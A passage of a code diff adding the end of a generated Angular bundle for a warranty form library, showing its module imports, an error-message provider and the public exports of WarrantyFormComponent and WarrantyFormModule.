+                        TextInputModule,
+                        CheckboxModule,
+                        RadioModule,
+                        FileInputModule,
+                        SelectModule,
+                        TextareaInputModule,
+                        DatePickerModule,
+                        IconModule,
+                        ReactiveFormsModule,
+                        InlineSVGModule.forRoot({ baseUrl: 'https://design.atea.com/assets/icons/' }),
+                        translateModule
+                    ],
+                    providers: [
+                        //TranslateService,
+                        {
+                            provide: COMMON_DESIGN_ERRORS,
+                            useFactory: ErroMesasgeFactory,
+                            deps: [TranslateService]
+                        }
+                    ],
+                    exports: [
+                        WarrantyFormComponent
+                    ]
+                }]
+        }] });
+
+/*
+ * Public API Surface of warranty-form
+ */
+
+/**
+ * Generated bundle index. Do not edit.
+ */
+
+export { WarrantyFormComponent, WarrantyFormModule, translateModule };
+